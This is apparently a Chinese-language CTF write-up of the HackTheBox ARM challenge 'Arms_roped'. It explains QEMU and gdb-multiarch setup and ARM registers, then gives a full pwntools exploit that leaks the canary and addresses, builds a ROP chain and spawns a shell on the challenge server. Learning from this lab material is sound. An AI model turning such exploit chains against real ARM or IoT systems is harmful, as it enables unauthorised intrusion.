之前一直很想IoT 但是到多数案例,都是arm 结构下的,需要用到qemu来搭建环境。但是arm指令的学习和qemu 使用的各种毛病让我往而却步。不过,幸运的是,我在htb发现这个Arms_roped 这个有利于新手的docker环境(虽然还是有点过时),终于arm学习里踏入的第一步。
arm环境配置 这个题目很好,给了一个Dockerfile 直接docker build . 就可以搭建一个环境。不过这个环境是一个简单的arm pwn环境。我们只能简单的远程,并不随意打gdb 内存和寄存器的情况,这样对于我们是很不方便。同时,尝试在docker安装gdb插件无果,于是我们便考虑在本地搭一个类似环境用来gdb,再用pwntools来结合。
qemu安装与使用 qemu安装 安装qemu:
1 2 3 sudo apt-get install qemu sudo apt-get install qemu-user qemu-system qemu-user-static binfmt-support
依赖库安装:
1 2 3 sudo apt-get install -y gcc-arm-linux-gnueabi sudo apt-get install qemu libncurses5-dev gcc-arm-linux-gnueabi build-essential gdb-arm-none-eabi synaptic gcc-aarch64-linux-gnu eclipse-cdt git
这样我们就安装好,qemu环境了。
我们用qemu-arm -L /usr/arm-linux-gnueabihf/ ./arms_roped 就可以在本地运行了。
这个步骤也是Dockerfile 记载的方法,不过docker安装是通过在https://github.com/qemu/qemu下载源码来编译的。
1 2 3 4 5 6 7 RUN git clone https://github.com/qemu/qemu /qemu WORKDIR /qemu COPY patch.diff . RUN git checkout e86e00a2493254d072581960b48461eb96481e45 RUN git apply < patch.diff RUN ./configure --disable -system --enable -linux-user --disable -bpf --static RUN make -j$((`nproc`-1)) qemu-arm
qemu的区别与注意 在刚才的安装中我们其实是安装 三个qemu 启动命令工具: qemu-user、qemu-user-static、qemu-system。
qemu-system 是用于模拟完整计算机系统的命令,qemu 在system mode 上模拟的命令。在system mode 可以模拟多种不同的处理器架构(如x86、ARM、PowerPC等)以及与之相关的外围设备。因此通过 qemu-system,你可以创建一个完整的虚拟机环境,包括模拟的处理器、内存、硬盘、网络接口,这样下整个文件系统一起模拟 的,我们会得到一个相对真实 的环境。
qemu-user/qemu-user-static 是用于用户空间应用程序的模拟执行的命令,即以QEMU user mode 允许在一个不同的体系结构上运行二进制可执行文件,而无需模拟整个计算机系统。QEMU user mode是system mode的精简版,只提供TCG层面的支持,他能运行guest Linux上的用户态程序,因此在某些细节还原度上是远远不如system mode ,比如:libc 段可能无法被正确vmmap 。qemu-user/qemu-user-static 两者的区别是qemu-user-static 是用于静态地模拟执行用户空间应用程序的命令,而``qemu-user`是动态模拟的,在程序开了‘PIE’和‘NX’保护下地址段地址会随机变化。。
而在本题环境中,dockerfile 给出的是 user mode 的qemu-user来执行命令。
即:qemu-arm -L /usr/arm-linux-gnueabi ./arms_roped
若我们想gdb 调试 则 用 -g 来开放我们链接的端口。例如:
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./arms_roped
如何gdb qemu程序 若我们想gdb 我们用qemu 启用的程序,我们还需要通过如下命令安装gdb-multiarch。
1 sudo apt-get install gdb-multiarch
gdb-multiarch 是 GNU 调试器(GDB)的一个变体,它允许在多种体系结构(如x86、ARM、PowerPC等)上进行调试。通常情况下,gdb 只能调试与宿主系统相同体系结构的程序,但是 gdb-multiarch 可以通过“set architecture xxx”修改以支持跨体系结构的调试。比如 “set architecture arm” 修改为arm体系调试。
关于gdb-multiarch 我们使用如下:
1 2 3 gdb-multiarch ./arms_roped set solib-search-path /home/lexs/Desktop/misc/lib target remote 127.0.0.1:1234
gdb-multiarch ./arms_roped 打开gdb-multiarch并加载读取arms_roped文件的symbols标识符同时讲调试模式设置为arm。(相当于执行file ./arm_roped 与set architecture arm” )
set solib-search-path将要读取要用到libc文件夹路径设置为我们所设置的文件夹路径。这样gdb中遇到与环境相应的通过链接库,gdb会自动读取相应的symbols标识
target remote。远程gdb 所暴露的IP和端口。
pwntools模块的process读取所一个命令所产生的进程。我们可以通过下面方式启动,进而发送命令。
1 2 3 4 5 from pwn import * elf=“./arms_roped” p = process(["qemu-arm-static", "-L", "/usr/arm-linux-gnueabihf/", elf]) p = process(["qemu-arm-static","-g","1434" ,"-L", "/usr/arm-linux-gnueabihf/", elf]) p.interactive()
遗憾的是对于gdb模块展示不能接受到qemu 暴露的调试端口,只能另起窗口调试。
arm 汇编入门知识点小提 x64汇编与arm汇编在一些地方还是神似的地方。比如在寄存器上:
eax 在 arm中变成r0,r1-r5对应 edx、ecx,edx,esi,edi。r11(FP)对应edp,edp 对应arm中 r13(SP),而EIP对应R15(PC)。在arm中gadget 以pc来跳转,x64 以ret来跳转。同时,x64中常用的万能gadget也继续存在。
但arm汇编的具体细节又不一样,这里找到一个不错的入门教程说明:
https://chan-shaw.github.io/2020/03/20/arm%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
解题思路 当我们arm环境和知识储备完后,回到这个题。
1 2 3 4 5 Arch: arm-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
题目开了 PIE 、NX 和canary 。
但题目问题点在string_storer函数,我们在用 memcpy 复制时,没有对dest里的值进行清空,也没有对复制的进行长度限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int string_storer () { int result; int dest[8 ]; memset (dest, 0 , sizeof (dest)); while ( 1 ) { _isoc99_scanf("%m[^\n]%n" , &tmp, &n); getchar(); memcpy (dest, (const void *)tmp, n); free ((void *)tmp); result = memcmp (dest, "quit" , 4u ); if ( !result ) break ; puts ((const char *)dest); } return result; }
如下下图所示,红色部分就是我们输入,黄色就是canary值,蓝色就是返回地址(elf上一直值)。这导致我们可以泄漏出之前,就留存道dest里elf地址及canary值。
这时,与x86情况类似,我们得到canary 就可以随意利用elf里的gadgets栈溢出了。于此同时,我发现两有意思的gadgets:
这俩gadgets结合起来就可以泄露出libc地址,来执行execve(“/bin/sh”,0,0)了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 ''' @File : exp.py @Time : 2024/02/06 23:43:20 @Author : lexsd6 ''' from pwn import * from libcfind import *local_mote=0 elf='./arms_roped' e=ELF(elf) context.arch=e.arch libc=ELF('./libc.so.6' ) print(e.arch) context.log_level = 'debug' ip_port=['94.237.62.195' ,57984 ] debug=lambda gdb_cmd='' : gdb.attach(p,gdb_cmd) if local_mote==1 else None print(pwnlib.qemu.user_path(arch='thumb' )) p=remote(ip_port[0 ],ip_port[1 ]) p.sendline('x' *0x21 ) p.recvuntil('x' *0x21 ) addr12=p.recv() canary=u32(addr12[0 :3 ].ljust(4 ,'\x00' ))*0x100 log.info('canary:' +hex(canary)) p.sendline('x' *(0x30 )) p.recvuntil('x' *(0x30 )) addr12=p.recvline() print(addr12) elf_addr=u32(addr12[1 :4 ].ljust(4 ,'\x00' ))*0x100 -0x900 addr3=u32(addr12[4 :8 ].ljust(4 ,'\x00' )) log.info('elf_addr=:' +hex(elf_addr)) log.info('addr4:' +hex(addr3)) pop_r3_pc=elf_addr+0x0000056c put_addr_s=elf_addr+0x000087C free_got_addr=elf_addr+e.sym['free' ] xxx_addr=elf_addr+0x11000 xxx3=elf_addr+0x11400 p.sendline('quit' +'\x00' *(0x20 -4 )+p32(canary)+'\x00\x00\x00\x00' +p32(free_got_addr-0x10 )+p32(xxx3)+p32(pop_r3_pc)+p32(free_got_addr)+p32(put_addr_s)+p32(0x4001056c )+'qqqq' ) addrx=p.recvline() x_addr=u32(addrx[0 :4 ].ljust(4 ,'\x00' )) free_addr=u32(addrx[4 :8 ].ljust(4 ,'\x00' )) log,info(hex(x_addr)) log.info(hex(free_addr)) libc_base=x_addr-libc.sym['free' ] system_addr=libc_base+0x0078287 bin_sh=libc_base+0x000dce0c log.info('libc_base:' +hex(libc_base)) log.info('system:' +hex(system_addr)) log.info('bin_sh:' +hex(bin_sh)) pop_r0_r4_pc=libc_base+0x0000091274 p.sendline('quit' +'\x00' *(0x20 -4 )+p32(canary)+'\x00\x00\x00\x00' +p32(xxx3)+p32(xxx3)+p32(pop_r0_r4_pc)+p32(bin_sh)+p32(0 )*3 +p32(system_addr)+'yyyy' ) p.interactive()
参考文献 https://www.jianshu.com/p/a7e2da50263e
https://x1ng.top/2020/11/16/arm-pwn%E5%85%A5%E9%97%A8%E4%B9%8B%E8%B7%AF/
https://chan-shaw.github.io/2020/03/20/arm%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/